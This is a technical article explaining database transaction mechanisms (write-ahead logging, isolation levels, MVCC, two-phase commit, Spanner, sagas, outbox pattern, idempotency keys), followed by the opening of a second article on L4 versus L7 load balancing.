#### Write-Ahead Logging (WAL)

WAL is the dominant atomicity mechanism in modern databases. The principle: log changes before applying them to data files.

**Core rule**: "Log first, apply later." A write is durable when its log record reaches disk, not when the data page is updated.

**Implementation**:

```ts title="wal-concept.ts" collapse={1-4, 18-25}
// Conceptual WAL implementation
interface LogRecord {
  lsn: number // Log Sequence Number
  transactionId: string
  operation: "INSERT" | "UPDATE" | "DELETE"
  table: string
  beforeImage: any // For undo (rollback)
  afterImage: any // For redo (recovery)
  prevLsn: number // Previous record in same transaction
}

// WAL guarantees:
// 1. Log record written before data page modification
// 2. All log records for a transaction written before COMMIT
// 3. COMMIT record written before acknowledging client
// Recovery uses log to redo committed, undo uncommitted
```

**PostgreSQL's WAL** (as of v17):

- WAL segments are 16MB by default
- `wal_level` controls what's logged: `minimal`, `replica`, or `logical`
- `fsync = on` (default) ensures WAL durability
- `synchronous_commit` controls when client sees commit acknowledgment

**Why WAL beats direct writes**:

1. **Sequential I/O**: Log writes are sequential (fast); data page writes are random (slow)
2. **Group commit**: Multiple transactions' commits batched into single fsync
3. **Reduced writes**: Data pages updated in memory, flushed lazily via checkpoints

#### ARIES Recovery Algorithm

ARIES (Algorithms for Recovery and Isolation Exploiting Semantics), developed at IBM Research in 1992, remains the foundation of modern database recovery. It popularized the "repeating history" paradigm.

**Three recovery phases**:

1. **Analysis**: Scan log from last checkpoint, determine which transactions were active and which pages were dirty
2. **Redo**: Replay all logged operations (including uncommitted) to restore database to crash state
3. **Undo**: Roll back uncommitted transactions by applying undo records in reverse order

**Key insight**: ARIES redoes everything first, then undoes selectively. This "repeat history" approach simplifies recovery logic—the database reaches exactly the crash-time state before selective rollback.

**Compensation Log Records (CLRs)**: During undo, ARIES logs the undo operations themselves. If crash occurs during recovery, these CLRs prevent re-undoing already-undone work.

#### Shadow Paging: The Alternative

Shadow paging maintains two copies of database pages: current (being modified) and shadow (stable reference).

**Mechanism**:

1. Transaction starts: shadow page table points to committed pages
2. Modifications create new page copies; current page table updated
3. Commit: atomically swap current page table to become the new shadow
4. Abort: discard current page table, shadow remains unchanged

**Trade-offs vs WAL**:

- ✅ Simpler recovery (just use shadow pages)
- ✅ No undo phase needed
- ❌ Data fragmentation (pages scattered on disk)
- ❌ Requires copying pages, not just logging changes
- ❌ Garbage collection overhead

**Real-world usage**: SQLite uses a variant (rollback journal), LMDB uses copy-on-write B-trees. Most production OLTP databases use WAL because of better write performance.

### Consistency: Application Responsibility

Consistency in ACID means the database moves from one valid state to another. This is primarily the **application's responsibility**, not the database's.

**What databases guarantee**:

- **Constraint enforcement**: Primary keys, foreign keys, unique constraints, CHECK constraints
- **Trigger execution**: Automatic actions on data changes
- **Cascade operations**: Referential integrity maintenance

**What applications must ensure**:

- Business rules (account balance >= 0)
- Cross-table invariants (order total = sum of line items)
- Domain logic (valid state transitions)

**The distinction matters**: A database can enforce "balance is a number" but not "balance reflects all valid transactions." The latter requires correct application logic.

**Example inconsistency**:

```sql
-- Database constraints satisfied, business rule violated
-- Application bug: double-credited an account
UPDATE accounts SET balance = balance + 100 WHERE id = 'A';
UPDATE accounts SET balance = balance + 100 WHERE id = 'A';  -- Duplicate!
-- No constraint violation, but data is inconsistent with business intent
```

### Isolation: The Complex Property

Isolation determines what concurrent transactions see of each other's changes. It's a spectrum of guarantees with different performance costs.

#### Isolation Anomalies

Understanding anomalies is key to choosing isolation levels:

| Anomaly                 | Description                                              | Example                                                                             |
| ----------------------- | -------------------------------------------------------- | ----------------------------------------------------------------------------------- |
| **Dirty Read**          | Reading uncommitted data                                 | T1 writes, T2 reads, T1 aborts → T2 saw data that never existed                     |
| **Non-Repeatable Read** | Same query, different results                            | T1 reads row, T2 updates and commits, T1 re-reads → different value                 |
| **Phantom Read**        | New rows appear in range query                           | T1 queries range, T2 inserts row in range, T1 re-queries → extra row                |
| **Lost Update**         | Concurrent updates overwrite each other                  | T1 and T2 read balance=100, both update to balance+10 → balance=110 (should be 120) |
| **Write Skew**          | Constraint violated by concurrent non-overlapping writes | Two doctors both check "≥1 on call", both remove themselves → zero on call          |

**Write skew** is particularly insidious because each transaction individually maintains the invariant, but together they violate it. Martin Kleppmann's "Designing Data-Intensive Applications" popularized the doctors on-call example:

```sql
-- T1: Doctor Alice checks if she can leave
SELECT COUNT(*) FROM on_call WHERE shift = 'tonight';  -- Returns 2 (Alice, Bob)
-- Alice decides it's safe to leave (at least 1 will remain)
DELETE FROM on_call WHERE doctor = 'Alice' AND shift = 'tonight';
COMMIT;

-- T2: Simultaneously, Doctor Bob runs the same logic
SELECT COUNT(*) FROM on_call WHERE shift = 'tonight';  -- Also returns 2 (snapshot)
DELETE FROM on_call WHERE doctor = 'Bob' AND shift = 'tonight';
COMMIT;

-- Result: No doctor on call! Both saw 2, both removed themselves.
```

#### SQL Standard Isolation Levels

The SQL-92 standard defines four isolation levels by which anomalies they permit:

| Level            | Dirty Read   | Non-Repeatable Read | Phantom Read |
| ---------------- | ------------ | ------------------- | ------------ |
| Read Uncommitted | Possible     | Possible            | Possible     |
| Read Committed   | Not possible | Possible            | Possible     |
| Repeatable Read  | Not possible | Not possible        | Possible     |
| Serializable     | Not possible | Not possible        | Not possible |

**Critical caveat**: The SQL standard defines these levels only by which anomalies are _permitted_, not by which must _occur_. Databases can (and do) provide stronger guarantees than required.

### Durability: Surviving Crashes

Durability guarantees that committed transactions survive system failures. Implementation involves:

#### fsync and Write Barriers

**The problem**: Operating systems buffer writes. A "successful" write may sit in OS cache when power fails.

**fsync()** forces buffered data to persistent storage. But it's expensive—SSDs can fsync at ~10K-100K ops/sec; HDDs at ~100-200 ops/sec.

**PostgreSQL durability settings**:

```sql
-- Full durability (default)
SET fsync = on;
SET synchronous_commit = on;

-- Relaxed: don't wait for WAL to reach disk
SET synchronous_commit = off;
-- Risk: lose recent commits on crash (up to ~3x wal_writer_delay)
-- No corruption risk—just uncommitted data loss
```

**PostgreSQL's fsync surprise (2018)**: Craig Ringer discovered that PostgreSQL assumed failed fsync calls could be retried. But Linux doesn't guarantee this—a failed fsync may have discarded the dirty page. PostgreSQL now treats fsync failures as fatal, requiring restart. This applies to all databases relying on fsync semantics.

#### Group Commit Optimization

Individual fsync per transaction is too slow. Group commit batches multiple commits into one fsync:

```
T1: BEGIN → ... → COMMIT (waiting)
T2: BEGIN → ... → COMMIT (waiting)
T3: BEGIN → ... → COMMIT (waiting)
--- fsync once for all three ---
T1, T2, T3: acknowledged
```

PostgreSQL's `commit_delay` and `commit_siblings` control grouping. Under high concurrency, group commit dramatically reduces fsync overhead.

#### Durability vs. Performance

| Setting                   | Durability             | Performance        | Use Case         |
| ------------------------- | ---------------------- | ------------------ | ---------------- |
| fsync=on, sync_commit=on  | Full                   | Baseline           | Financial, audit |
| fsync=on, sync_commit=off | WAL sync delay         | ~3x faster commits | Most OLTP        |
| fsync=off                 | None (corruption risk) | Maximum            | Development only |

**Real-world benchmark**: Disabling fsync shows ~58% TPS improvement in PostgreSQL benchmarks, but risks unrecoverable corruption. Disabling synchronous_commit shows ~3.5% improvement with only bounded data loss risk (no corruption).

## Isolation Level Implementations

### MVCC vs. Locking

Two fundamental approaches to isolation:

**Pessimistic Locking (2PL - Two-Phase Locking)**:

- Acquire locks before accessing data
- Hold locks until transaction ends
- Readers block writers, writers block readers (with shared/exclusive locks)
- Guarantees serializability but limits concurrency

**MVCC (Multi-Version Concurrency Control)**:

- Maintain multiple versions of each row
- Readers see a consistent snapshot; never block writers
- Writers create new versions; never block readers
- Higher concurrency but more complex conflict detection

**The hybrid reality**: Most modern databases combine both. MVCC for read/write concurrency, locking for write/write conflicts.

### PostgreSQL Implementation (v17)

PostgreSQL uses MVCC with full tuple versioning:

**System columns on every row**:

- `xmin`: Transaction ID that created this version
- `xmax`: Transaction ID that deleted/updated this version (0 if live)
- `cmin/cmax`: Command IDs within transaction

**Visibility rules**: A row version is visible to transaction T if:

1. `xmin` is committed and less than T's snapshot
2. `xmax` is either 0, aborted, or greater than T's snapshot

**Snapshot timing by isolation level**:

| Level           | Snapshot Taken    | Effect                            |
| --------------- | ----------------- | --------------------------------- |
| Read Committed  | Each statement    | Sees all commits before statement |
| Repeatable Read | Transaction start | Sees all commits before BEGIN     |
| Serializable    | Transaction start | Plus SSI conflict detection       |

**PostgreSQL exceeds SQL standard**: Repeatable Read in PostgreSQL prevents phantom reads (standard only requires this at Serializable). PostgreSQL's Read Uncommitted behaves like Read Committed—it never allows dirty reads.

**Serializable Snapshot Isolation (SSI)**: PostgreSQL's Serializable level uses SSI, which tracks read/write dependencies to detect serialization anomalies. When a cycle is detected, one transaction is aborted:

```
ERROR: could not serialize access due to read/write dependencies among transactions
```

SSI has lower overhead than strict 2PL because it doesn't acquire locks; it only tracks potential conflicts and aborts when necessary.

**VACUUM**: Dead tuples (old versions) accumulate in tables. VACUUM reclaims space. Without it, tables bloat indefinitely. Autovacuum runs automatically but may lag under heavy write load.

### MySQL/InnoDB Implementation (v8.x)

InnoDB uses MVCC with undo logs:

**Hidden columns per row**:

- `DB_TRX_ID`: Transaction ID of last modification
- `DB_ROLL_PTR`: Pointer to undo log record

**Key difference from PostgreSQL**: Old row versions live in separate undo logs, not in the table. Reading old versions requires traversing undo chain—more overhead for long-running transactions.

**Isolation level behavior**:

| Level                     | Read Behavior                | Write Behavior                 |
| ------------------------- | ---------------------------- | ------------------------------ |
| Read Uncommitted          | Current data (no MVCC)       | Standard locks                 |
| Read Committed            | Fresh snapshot per statement | Record locks                   |
| Repeatable Read (default) | Transaction-start snapshot   | Gap locks + record locks       |
| Serializable              | Same as RR                   | All reads acquire shared locks |

**Gap locking and next-key locking**: InnoDB prevents phantoms at Repeatable Read using gap locks:

```sql
-- T1 at Repeatable Read
SELECT * FROM orders WHERE amount > 100 FOR UPDATE;
-- Locks not just matching rows, but gaps between them
-- Prevents T2 from inserting amount=150

-- This is why MySQL RR prevents phantoms (stronger than SQL standard)
```

**Trade-off**: Gap locks can cause deadlocks and reduced concurrency. PostgreSQL's SSI approach detects conflicts after the fact rather than preventing them with locks.

### SQL Server Implementation

SQL Server offers both locking-based and MVCC-based isolation:

**Pessimistic (locking) levels**: Read Uncommitted, Read Committed, Repeatable Read, Serializable—traditional lock-based isolation with blocking.

**Optimistic (MVCC) levels**:

- **Read Committed Snapshot Isolation (RCSI)**: MVCC version of Read Committed
- **Snapshot Isolation**: Full transaction-level snapshot

RCSI and Snapshot store row versions in tempdb, not the main tables. This avoids table bloat but adds tempdb I/O.

**Enabling MVCC**:

```sql
-- Enable snapshot isolation
ALTER DATABASE MyDB SET ALLOW_SNAPSHOT_ISOLATION ON;

-- Make Read Committed use snapshots by default
ALTER DATABASE MyDB SET READ_COMMITTED_SNAPSHOT ON;
```

### Isolation Level Comparison Matrix

| Aspect                | PostgreSQL          | MySQL/InnoDB      | SQL Server            |
| --------------------- | ------------------- | ----------------- | --------------------- |
| Default level         | Read Committed      | Repeatable Read   | Read Committed        |
| MVCC storage          | Heap (in-table)     | Undo logs         | tempdb                |
| Cleanup               | VACUUM              | Purge threads     | Version store cleanup |
| Phantom prevention    | SSI at Serializable | Gap locks at RR   | Locks or MVCC         |
| Read Uncommitted      | = Read Committed    | True dirty reads  | True dirty reads      |
| Serializable approach | SSI (optimistic)    | 2PL (pessimistic) | 2PL (pessimistic)     |

## Distributed Transactions

When a transaction spans multiple databases or services, local ACID is insufficient. Distributed commit protocols coordinate global atomicity.

### Two-Phase Commit (2PC)

2PC ensures all participants either commit or abort together.

**Protocol**:

```
Phase 1 - Prepare (Voting):
1. Coordinator sends PREPARE to all participants
2. Each participant:
   - Writes redo/undo logs
   - Acquires locks
   - Responds VOTE-YES (can commit) or VOTE-NO (must abort)

Phase 2 - Commit (Decision):
3. If all voted YES:
   - Coordinator writes COMMIT to its log
   - Sends COMMIT to all participants
   - Participants commit and release locks
4. If any voted NO:
   - Coordinator writes ABORT
   - Sends ROLLBACK to all participants
```

**The blocking problem**: If the coordinator crashes after sending PREPARE but before sending COMMIT/ABORT, participants that voted YES are stuck. They hold locks, can't commit (no decision received), can't abort (might have been committed). They must wait for coordinator recovery.

**Real-world impact**: 2PC is used in Java EE (JTA/XA), database-to-message-broker transactions, and cross-database joins. The blocking risk means participants can hold locks for minutes during coordinator failures.

**Timeout behavior**: Participants typically abort if no decision arrives within timeout. But this can cause inconsistency if the coordinator did decide to commit and later delivers the COMMIT to other participants.

### Three-Phase Commit (3PC)

3PC attempts to solve 2PC's blocking by adding a pre-commit phase:

**Protocol**:

```
Phase 1 - CanCommit:
1. Coordinator asks "Can you commit?"
2. Participants respond YES/NO

Phase 2 - PreCommit:
3. If all YES: Coordinator sends PRECOMMIT
4. Participants acknowledge and prepare to commit

Phase 3 - DoCommit:
5. Coordinator sends COMMIT
6. Participants commit
```

**Why 3PC doesn't solve the fundamental problem**: 3PC assumes fail-stop (nodes crash, don't return wrong answers) and reliable failure detection. In real networks:

- Network partitions can make a live coordinator appear dead
- Two partitions might elect different coordinators
- Messages can be delayed beyond timeout, then arrive

The original 3PC paper acknowledges: "The protocol is more complex than 2PC, and does not work with network partitions or asynchronous communication."

**Practical result**: 3PC is rarely used in production. The added complexity doesn't eliminate blocking in realistic failure scenarios.

### Google Spanner: TrueTime and External Consistency

Spanner achieves something remarkable: globally distributed, externally consistent transactions without the blocking problems of 2PC.

**The insight**: If you can bound clock uncertainty, you can assign globally meaningful timestamps without coordination.

**TrueTime API**:

- `TT.now()` returns an interval `[earliest, latest]` guaranteed to contain the true time
- Clock uncertainty is typically < 7ms at p99 (using GPS + atomic clocks)
- If two intervals don't overlap, the calls were definitely ordered in real time

**Spanner's commit protocol**:

1. **Prepare phase**: Participants prepare and report their prepare timestamps
2. **Timestamp assignment**: Coordinator chooses commit timestamp > all prepare timestamps
3. **Commit wait**: Coordinator waits until `TT.now().earliest > commit_timestamp`
4. **Commit**: Transaction becomes visible

**Why commit wait matters**: The wait ensures that any transaction starting "after" this one (in wall-clock time) will see this transaction's effects. Without commit wait, a transaction could commit at timestamp T, but a later transaction might get timestamp T-1 due to clock skew.

**External consistency guarantee**: For any two transactions T1 and T2, if T1 commits before T2 starts, T2's timestamp > T1's timestamp. This is stronger than serializability—it respects real-time ordering.

**Trade-off accepted**: Commit latency includes commit wait (worst case 2× clock uncertainty ≈ 14ms). For most workloads with tight TrueTime bounds, this is negligible.

### Calvin: Deterministic Transaction Protocol

Calvin takes a radically different approach: avoid 2PC by making execution deterministic.

**Key insight**: If all replicas execute the same transactions in the same order, they'll reach the same state without coordination.

**Protocol**:

1. **Sequencer**: Batches transactions into a global order, replicates log via Paxos
2. **Scheduler**: Each replica reads the log and executes in order
3. **Execution**: Deterministic—same inputs = same outputs

**Why it avoids 2PC**: In 2PC, coordinator failure is problematic because participants don't know the decision. In Calvin, if a node fails, it recovers by replaying the deterministic log from checkpoint. No commit protocol needed—execution is deterministic.

**Limitations**:

- Transactions must be submitted as complete units (no interactive transactions)
- Read set and write set must be known before execution
- Not suitable for transactions that depend on external input mid-execution

**Real-world**: FaunaDB (now discontinued as of 2025) was the only commercial database using Calvin. The protocol suits specific workloads but the interactive transaction limitation restricts general applicability.

## Alternatives to Distributed Transactions

When distributed transactions are too expensive or don't fit the architecture, alternatives provide eventual atomicity.

### Saga Pattern

A saga is a sequence of local transactions with compensating transactions for rollback.

**Example: E-commerce order saga**:

```
1. Order Service: Create order (PENDING)
   Compensation: Cancel order

2. Payment Service: Reserve payment
   Compensation: Release payment hold

3. Inventory Service: Reserve items
   Compensation: Release reservation

4. Shipping Service: Schedule shipment
   Compensation: Cancel shipment

5. Order Service: Mark COMPLETED
```

If step 3 fails (items out of stock), execute compensations in reverse: release payment hold, cancel order.

**Two coordination approaches**:

**Choreography** (event-driven):

- Services publish events; others react
- No central coordinator
- ✅ Loosely coupled, simpler for small sagas
- ❌ Hard to track global state, complex with many steps

**Orchestration** (centralized):

- Central orchestrator invokes services in sequence
- Handles compensation logic centrally
- ✅ Easier to understand flow, centralized monitoring
- ❌ Orchestrator is SPOF, coupling to orchestrator

**Compensation design challenges**:

1. **Idempotency**: Compensations may be retried; must be idempotent
2. **Commutative operations**: Can't always "undo" (sent email, charged card)
3. **Isolation**: No isolation between saga steps—concurrent sagas may interleave

**Real-world**: Uber, Netflix, Airbnb use saga patterns for cross-service transactions. Frameworks like Temporal, Axon, and Camunda provide saga orchestration.

### Transactional Outbox Pattern

Solves the dual-write problem: updating a database AND publishing an event must be atomic.

**The problem**:

```
1. Write to database  ✓
2. Publish to Kafka   ✗ (crash here)
// Event lost, subscribers never notified
```

**The solution**:

```
1. In single transaction:
   - Write to business table
   - Write event to OUTBOX table
2. Separate process (or CDC) reads OUTBOX, publishes to Kafka
3. After successful publish, delete/mark processed in OUTBOX
```

**Implementation options**:

- **Polling**: Background job queries outbox, publishes, marks complete
- **Change Data Capture (CDC)**: Debezium captures outbox inserts, streams to Kafka

**Guarantees**:

- **At-least-once delivery**: If publishing succeeds, event is delivered (possibly multiple times)
- **Eventual consistency**: Downstream sees changes after publish delay
- **No 2PC required**: Single database transaction + async delivery

**Consumer idempotency**: Since events may be delivered multiple times, consumers must be idempotent. Include event ID; track processed IDs.

### Event Sourcing Approach

Event sourcing stores state as a sequence of events rather than current state. This naturally integrates with the outbox pattern.

**Mechanism**:

```
Traditional: UPDATE accounts SET balance = 150 WHERE id = 'A'

Event Sourced:
Event Store: [
  { type: 'AccountCreated', accountId: 'A', initialBalance: 100 },
  { type: 'MoneyDeposited', accountId: 'A', amount: 50 }
]
Current State: Computed by replaying events (balance = 150)
```

**Benefits for transactions**:

- Events are immutable—no update anomalies
- Event log IS the outbox—no dual write
- Point-in-time recovery by replaying to any timestamp
- Audit trail built-in

**Trade-offs**:

- ✅ Natural event publishing, audit trail, temporal queries
- ❌ Complex querying (must replay or maintain projections)
- ❌ Schema evolution of events is challenging
- ❌ Eventual consistency for read models

**Real-world**: Banking systems (immutable transactions fit naturally), CQRS architectures, audit-heavy domains.

## Real-World Examples and Trade-offs

### When Companies Choose Distributed Transactions

**Google Spanner**: Global financial systems, multi-region consistency requirements. Spanner's TrueTime investment (GPS, atomic clocks in every datacenter) is justified by the need for external consistency across continents.

**CockroachDB**: Teams wanting Spanner-like guarantees without Google's hardware. Uses Hybrid Logical Clocks with NTP (100-250ms uncertainty vs. Spanner's 7ms), accepting occasional transaction restarts due to clock skew.

### When Companies Avoid Transactions

**Netflix**: Uses Cassandra (eventually consistent) for viewing history. Reasoning: "Since we are dealing with movie data and not financial data, the world won't end if there are temporary inconsistencies." They run continuous consistency checkers to detect and fix divergence.

**Amazon**: Strong consistency for cart/checkout, eventual consistency for product catalog. The shopping cart uses Dynamo's quorum reads for checkout but tolerates stale inventory counts on product pages.

### Stripe: Idempotency Keys for Payment Reliability

Stripe's approach to transaction reliability uses idempotency keys rather than distributed transactions:

**Mechanism**:

```
POST /v1/charges
Idempotency-Key: "order-123-attempt-1"

// First request: processes charge, stores result with key
// Retry (same key): returns stored result, no double-charge
```

**Implementation**:

1. Client generates unique idempotency key
2. Server checks if key exists in Redis
3. If exists: return cached result
4. If new: process request, store result with key
5. Keys expire after 24 hours

**Why this works for payments**:

- Retries are safe (network failures don't cause double charges)
- No distributed transaction with Stripe's banking partners
- Local ACID + idempotency achieves practical atomicity

**Trade-off**: Requires client-side key management. The 24-hour expiry means very old retries might process twice.

### Famous Transaction-Related Incidents

**Write skew in the wild**: While specific public incidents are rare, write skew bugs are common in booking systems. A classic pattern: two users simultaneously booking the last seat, both checking availability before either writes. Without serializable isolation, both succeed.

**The fsync saga (2018)**: PostgreSQL's assumption that failed fsync could be retried was wrong on Linux. After a storage error, retrying fsync might return success while data was actually lost. Discovery led to PostgreSQL treating fsync failures as fatal—a database restart is required.

## How to Choose

### Decision Framework

| Requirement                                             | Solution                                                              |
| ------------------------------------------------------- | --------------------------------------------------------------------- |
| Single database, strong consistency                     | Use highest isolation level needed (often Serializable for financial) |
| Single database, high throughput                        | Read Committed + application-level conflict handling                  |
| Cross-service atomicity, low latency tolerance          | Saga pattern with idempotent compensations                            |
| Database + message broker atomicity                     | Transactional outbox + CDC                                            |
| Global strong consistency, can invest in infrastructure | Spanner or CockroachDB                                                |
| Eventual consistency acceptable                         | Leaderless replication (Cassandra, DynamoDB)                          |

### Isolation Level Selection Guide

| Anomaly Risk                     | Minimum Level                                  | Notes                                            |
| -------------------------------- | ---------------------------------------------- | ------------------------------------------------ |
| Dirty reads unacceptable         | Read Committed                                 | Almost always—dirty reads cause application bugs |
| Non-repeatable reads problematic | Repeatable Read                                | Analytics, reports, multi-step reads             |
| Phantoms problematic             | Serializable (PostgreSQL RR prevents phantoms) | Aggregations, existence checks                   |
| Write skew possible              | Serializable                                   | Any read-then-write pattern with constraints     |

### Performance Considerations

**Serializable isn't always slow**: SSI (PostgreSQL) has lower overhead than pessimistic 2PL. Benchmark your workload—the difference may be smaller than expected.

**fsync tuning**: `synchronous_commit = off` provides most of fsync performance benefit with bounded data loss risk (no corruption). Acceptable for many OLTP workloads.

**Hot path optimization**: Use strong consistency for critical paths (payment, inventory decrement); relax for read-heavy paths (product display, recommendations).

## Common Pitfalls

### 1. Assuming Default Isolation Is Sufficient

**The mistake**: Using database default (often Read Committed) without analyzing anomaly risk.

**Why it happens**: "It's the default, must be safe."

**The consequence**: Lost updates, write skew, inconsistent reads in reports.

**The fix**: Analyze each transaction's read/write patterns. Identify where anomalies cause business impact. Explicitly choose isolation level.

### 2. Distributed Transactions in Microservices

**The mistake**: Using 2PC across microservices for "consistency."

**Why it happens**: Attempting to preserve monolith transaction guarantees after decomposition.

**The consequence**: Tight coupling, availability degradation, coordinator bottleneck.

**The fix**: Accept eventual consistency with sagas. Design compensating transactions. Embrace idempotency.

### 3. Ignoring Compensation Complexity in Sagas

**The mistake**: Assuming any operation can be "undone."

**Why it happens**: Treating compensation as simple reversal.

**The consequence**: Sent emails can't be un-sent. Charged cards require refunds (not reversal). Published events can't be un-published.

**The fix**: Design for semantic reversal, not mechanical undo. "Cancel order" is not "DELETE FROM orders."

### 4. Missing Idempotency in Distributed Systems

**The mistake**: Retrying failed operations without idempotency protection.

**Why it happens**: "Retries make it reliable."

**The consequence**: Double charges, duplicate orders, overcounted metrics.

**The fix**: Every retry-able operation needs an idempotency key. Track processed keys. Design operations to be safe for re-execution.

### 5. fsync Disabled in Production

**The mistake**: Disabling fsync for performance without understanding risk.

**Why it happens**: "10x faster writes!"

**The consequence**: Unrecoverable data corruption after power failure. Not just data loss—the entire database may become unusable.

**The fix**: Never disable fsync in production. Use `synchronous_commit = off` for performance with acceptable bounded data loss.

## Conclusion

Transactions provide essential guarantees for reliable data operations, but those guarantees come with trade-offs:

**Single-node ACID** is well-understood:

- WAL provides atomicity and durability with excellent performance
- MVCC enables high concurrency without read/write blocking
- Isolation levels trade consistency for throughput—choose based on anomaly risk

**Distributed transactions** are expensive:

- 2PC adds latency and blocks on coordinator failure
- 3PC doesn't solve network partition problems
- Spanner's TrueTime achieves external consistency but requires specialized infrastructure

**Practical alternatives** often suffice:

- Sagas provide eventual atomicity for microservices
- Outbox pattern solves dual-write reliably
- Idempotency keys enable safe retries without distributed coordination

The right choice depends on:

1. **Consistency requirements**: What's the cost of anomalies?
2. **Latency budget**: How much coordination overhead is acceptable?
3. **Failure tolerance**: Can the system block waiting for recovery?

Most systems need different transaction strategies for different data—strong consistency for critical paths, eventual consistency for others.

## Appendix

### Prerequisites

- Basic understanding of database operations (SQL, transactions)
- Familiarity with distributed systems concepts (replication, partitioning)
- Understanding of failure modes (crashes, network partitions)

### Terminology

- **WAL (Write-Ahead Log)**: Append-only log of changes for atomicity and recovery
- **MVCC (Multi-Version Concurrency Control)**: Maintaining multiple row versions for concurrent access
- **SSI (Serializable Snapshot Isolation)**: Optimistic serializable isolation via conflict detection
- **2PC (Two-Phase Commit)**: Distributed commit protocol with prepare and commit phases
- **Saga**: Sequence of local transactions with compensating actions for rollback
- **Outbox Pattern**: Storing events in database table for reliable async publishing
- **Idempotency**: Property where repeated execution has same effect as single execution
- **External Consistency**: Transactions ordered by real-time (stronger than serializability)
- **TrueTime**: Google's API providing bounded clock uncertainty via GPS/atomic clocks
- **Compensation**: Operation that semantically reverses an earlier operation

### Summary

- **ACID properties address distinct failure modes**: atomicity (partial failures), consistency (invariant violations), isolation (concurrency anomalies), durability (data loss)
- **WAL is the dominant atomicity mechanism**: log first, apply later; ARIES recovery repeats history then undoes selectively
- **Isolation is a spectrum**: Read Committed for most OLTP; Serializable for financial/constraint-heavy workloads
- **PostgreSQL/MySQL exceed SQL standard**: Both prevent phantoms at Repeatable Read; PostgreSQL never allows dirty reads
- **2PC blocks on coordinator failure**: Acceptable for batch operations; problematic for real-time systems
- **Sagas trade isolation for availability**: No distributed locking, but requires idempotent compensations
- **Outbox pattern solves dual-write**: Single database transaction + async delivery = reliable event publishing
- **Idempotency is essential**: Any retry-able operation needs duplicate protection

### References

#### Foundational Papers and Specifications

- [ARIES: A Transaction Recovery Method](https://web.stanford.edu/class/cs345d-01/rl/aries.pdf) - Mohan et al., IBM Research, 1992. The definitive WAL recovery algorithm.
- [A Critique of ANSI SQL Isolation Levels](https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/tr-95-51.pdf) - Berenson et al., 1995. Expanded anomaly definitions beyond SQL-92.
- [Serializable Isolation for Snapshot Databases](https://courses.cs.washington.edu/courses/cse444/08au/544M/READINGS/fekete-sigmod2008.pdf) - Cahill et al., 2008. SSI algorithm used by PostgreSQL.

#### Database Documentation

- [PostgreSQL Transaction Isolation](https://www.postgresql.org/docs/current/transaction-iso.html) - Official PostgreSQL 17 documentation on isolation levels
- [MySQL InnoDB Transaction Model](https://dev.mysql.com/doc/refman/8.0/en/innodb-transaction-model.html) - Official MySQL 8.0 documentation
- [SQL Server Isolation Levels](https://learn.microsoft.com/en-us/sql/t-sql/statements/set-transaction-isolation-level-transact-sql) - Microsoft documentation

#### Distributed Transaction Systems

- [Spanner: Google's Globally-Distributed Database](https://research.google.com/archive/spanner-osdi2012.pdf) - Corbett et al., 2012. TrueTime and external consistency.
- [Spanner, TrueTime & The CAP Theorem](https://research.google.com/pubs/archive/45855.pdf) - Brewer's clarification on Spanner and CAP.
- [Calvin: Fast Distributed Transactions for Partitioned Database Systems](http://cs.yale.edu/homes/thomson/publications/calvin-sigmod12.pdf) - Thomson et al., 2012. Deterministic transaction protocol.
- [CockroachDB: Living Without Atomic Clocks](https://www.cockroachlabs.com/blog/living-without-atomic-clocks/) - How CockroachDB achieves consistency without TrueTime.

#### Patterns and Alternatives

- [Sagas](https://microservices.io/patterns/data/saga.html) - Microservices.io pattern documentation
- [Transactional Outbox Pattern](https://microservices.io/patterns/data/transactional-outbox.html) - Microservices.io pattern documentation
- [Designing Robust and Predictable APIs with Idempotency](https://stripe.com/blog/idempotency) - Stripe's approach to payment reliability
- [Implementing Stripe-like Idempotency Keys in Postgres](https://brandur.org/idempotency-keys) - Detailed implementation guide

#### Engineering Blog Posts

- [Netflix: Consistency Checkers](http://highscalability.com/blog/2011/4/6/netflix-run-consistency-checkers-all-the-time-to-fixup-trans.html) - How Netflix handles eventual consistency
- [PostgreSQL's fsync() Surprise](https://lwn.net/Articles/752063/) - LWN coverage of the 2018 fsync issue
- [What Write Skew Looks Like](https://www.cockroachlabs.com/blog/what-write-skew-looks-like/) - CockroachDB's explanation with examples

#### Books

- [Designing Data-Intensive Applications](https://dataintensive.net/) - Kleppmann, 2017. Chapters 7 (Transactions) and 9 (Consistency and Consensus).
- [Database Internals](https://www.databass.dev/) - Petrov, 2019. Deep coverage of storage engines and distributed systems.

---

## Load Balancer Architecture: L4 vs L7 and Routing

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-fundamentals/load-balancers-architecture
**Category:** System Design / System Design Fundamentals
**Description:** How load balancers distribute traffic, terminate TLS, and maintain availability at scale. This article covers the design choices behind L4/L7 balancing, algorithm selection, health checking, and session management—with real-world examples from Netflix, Google, and Cloudflare.

# Load Balancer Architecture: L4 vs L7 and Routing

How load balancers distribute traffic, terminate TLS, and maintain availability at scale. This article covers the design choices behind L4/L7 balancing, algorithm selection, health checking, and session management—with real-world examples from Netflix, Google, and Cloudflare.

<figure>

![Two-tier load balancing: L4 for connection distribution, L7 for intelligent request routing. Health checkers continuously verify backend availability.](./two-tier-load-balancing-l4-for-connection-distribution-l7-for-intelligent-reques.svg)

<figcaption>Two-tier load balancing: L4 for connection distribution, L7 for intelligent request routing. Health checkers continuously verify backend availability.</figcaption>
</figure>

## Abstract

Load balancing operates at two fundamentally different layers:

- **L4 (Transport)**: Routes TCP/UDP connections by 5-tuple (protocol, IPs, ports). Latency: 50-100 μs. Throughput: 10-40 Gbps per node. No payload inspection—just packet forwarding.
- **L7 (Application)**: Parses HTTP/gRPC, routes by URL/header/cookie. Latency: 0.5-3 ms. Throughput: 1-5 Gbps. Enables content-aware routing but requires full request parsing.

Most production systems use both: L4 at the edge for raw throughput, L7 behind it for intelligent routing.

The key design decisions:

| Decision  | Options                                       | Primary Factor                       |
| --------- | --------------------------------------------- | ------------------------------------ |
| L4 vs L7  | TCP routing vs HTTP routing                   | Need for content inspection          |
| Algorithm | Round robin, least conn, consistent hash, P2C | Access pattern + statefulness        |
| TLS       | Terminate, passthrough, re-encrypt            | Security requirements vs performance |
| Session   | Sticky, shared store, stateless               | Horizontal scaling needs             |

## L4 vs L7 Load Balancing

### Layer 4: Transport-Level Routing

L4 load balancers operate on TCP/UDP connection metadata without inspecting payloads. The routing decision uses the 5-tuple: protocol, source IP, source port, destination IP, destination port.

**How it works:**

1. Client initiates TCP handshake to load balancer VIP (Virtual IP)
2. LB selects backend using configured algorithm
